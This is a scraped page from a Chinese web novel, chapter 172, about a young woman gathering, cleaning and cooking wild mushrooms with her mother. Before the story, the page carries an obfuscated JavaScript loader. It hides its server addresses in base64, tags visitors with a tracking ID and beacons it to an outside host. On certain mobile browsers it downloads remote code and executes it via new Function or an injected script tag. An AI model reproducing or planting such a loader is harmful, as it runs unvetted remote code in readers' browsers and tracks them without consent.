足迹
夏丞相夏子安
登录
关灯
护眼
字体:

第172章 捡菌子的快乐(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

苏寻味一边往树林子深处走去,一边在心里头暗自嘀咕道,而且也有点期待自己瘦到理想体重的样子。

外面的阳光明晃晃的,但是走到树林子深处之后就丝毫不觉得热了,反而有一种凉飕飕的感觉。

苏寻味抬起眼,头顶上是茂密的树丛,明亮的阳光从树叶的缝隙中落下来,斑斑点点的,有点像是调皮的精灵。

苏寻味喝了几口水,这才开始低头寻找野生菌子。

这个时候的菌子是最大最多最为肥美的。

村里头的人有见识的也会来山上采摘,享受大自然的馈赠。

不过很多人并不知道哪种菌子可以吃,哪种菌子不可以吃,为了谨慎起见,所以摘的就是常见的一些品种。

要是像陆母和陆云轩那样随便来摘,等候他们的自然就是大粪水了。

而且现在这段时间是农忙,经历了夏收,又要准备耕种,大家都忙得脚不沾地的,自然也没有时间来琢磨这种玩意。

毕竟像苏寻味这样的闲人在农村是十分少见的。

苏寻味可以说是捡了个大大的漏了。

这阴暗的林子中,稍微潮湿的干树叶和腐烂的树木都是极为丰富的肥料,滋养了很多肥美的菌子。

珊瑚菌,青头菌,奶浆菌,米汤菌,铜绿菌子,鸡枞,甚至见手青,松茸等都有。

捡菌子简直是一件会让人上瘾的事情。

苏寻味上次上山的时候虽然也满载而归,但是那些菌子都没有这么大,这么肥,这么多啊。

这一次她心里头预想过是会比上次多一些的的,但是她没有想到,竟然会有这么多!

苏寻味几乎都不用看,三步就是一小捧,五步就是一大捧。

兴许都没有两个小时,她那个大背篓居然就捡得满满当当的了!

但是天色还早啊,苏寻味也不舍得剩下的那么多菌子,她好想直接将这些菌子都带回家啊!

苏寻味将背篓放下,又用柴刀砍了一些藤蔓,然后往里头填满了大张的树叶,弄成了一个简易的大篮子。

有了篮子,苏寻味继续捡菌子。

大概捡了四个小时,除了她带出来的背篓是满的,她另外捣鼓出来的两个树叶篮子也是满满当当的。

看到这么多的菌子,苏寻味总算是心满意足了,这才背上了背篓,然后一手挎着一个篮子,下山去了。

下山其实要比上山更累,因为山路陡峭,下山的时候脚都是酸软的,而且还背着东西,虽然这些菌子不重,不过拎得多了,肯定会有些挡着视线的,所以下山用的时间比山上要多许多。

等苏寻味走完山路回到家中,差不多要六点钟了。

不过现在正值盛夏,日长夜短,虽然快六点了,但是太阳公公还恋恋不舍地挂在山头边边上,天边是一片绚丽多彩的晚霞,大部分是不刺眼的橘色,看起来有种浓墨重彩的油画感觉,美丽极了。

见苏寻味背着这么多菌子回来,苏母惊得眼珠子都要瞪大了,急忙上前帮忙,将她的背篓从背上卸了下来,道:“哎哟,我的个老天爷啊,你上哪儿弄的这么多野蘑菇,你就不怕有毒啊?”

苏寻味笑着道:“我可是行家,怎么会摘有毒的蘑菇,每一朵都是经过我的火眼金睛辨别了才摘回来的,你大可放心。”

苏母上次就吃过了苏寻味捡回来的菌子,那味道,是真的鲜美。

不管是单独做,还是炒肉煮汤,这个菌子都十分好吃,而且苏寻味摘回来的这些都是超级肥美的,一看这肉就厚,吃起来口感更加的足。.Zx.

“可把你能耐得,这个东西要是吃了有毒的,那可是会死人的,我小时候村里头就有一个饿的不行去摘了这个蘑菇回来煮了一顿,结果就死了,我那个时候县城都没有医院的,都没有地方去抢救。”

“哎呦,我的亲娘啊,你就放一百个心吧,我摘的都是能吃的,你别怕了。”

上辈子她可是做厨房的,这些菌子十有八九的种类她都做过无数遍了,怎么可能会认错嘛?

“我将今天剩下的饭菜都放在锅里头热好了,晚上也不用煮饭了,现在还早,我跟你一起将这些菌子清洗出来,然后晒干吧,这么多也吃不完,晒好了到过年的时候用来炖鸡是最香的,你爹就爱这一口。”苏母拿出了家里的大木盆,急忙从水井打起水,倒进了大木盆,然后将水倒了进去。

苏寻味搬来两个凳子,和苏母一起坐了下来,然后将菌子都倒进了大木盆中。

这些菌子清洗起来也是个麻烦事情,需要慢慢将伞面上的脏东西轻轻擦掉,伞柄上脏的烂的还要用小刀削掉,才算是清洗干净了。

而且这里的菌子少说也有二三十斤,两母女一直洗到腰酸背痛才给洗完了。

“这东西好吃是好吃,实在是太难洗了!”终于洗好后,苏母都觉得自己的腰有点直不起来的感觉了。

“做吃的就是这样啊,要有十足十的耐心,不管是寻找食材,清洗食材,处理食材,还是将食材烹饪的过程,都需要保持十足的耐心,要不是真的热爱,其实没多少人能够顶得住这些繁琐事情和细碎的。”苏寻味有些感概地说道。

她上辈子当然也想过要放弃烹饪这件事的,但是庆幸,热爱抵过了岁月漫长,她坚持了下来。

苏寻味将洗好的菌子分别放在了家中的筲箕上晾开来。

晚上虽然有剩菜,但是这么新鲜的菌子,自然是要吃上一顿的。

苏寻味摘了一些青红辣椒切碎,然后又切了一些蒜片,将菌子抓了一把切开。

起锅烧油,这油要比平时炒菜更多一些,因为菌子吃油,要油多炒出来才好吃。

将蒜片和辣椒放进油锅炒香,再将切好的菌子倒进去大火爆炒,不多时,一道青红辣椒爆菌子就炒好了。

这道菜油光澄亮,入口脆嫩爽滑,说不出的鲜美,简直是下饭神器。

“这么多菌子,全晒干也有点多了,等会吃了饭,我炸一点菌脚炸酱封起来,以后我去了县城,你们可以拿出来拌饭拌面吃都可以。”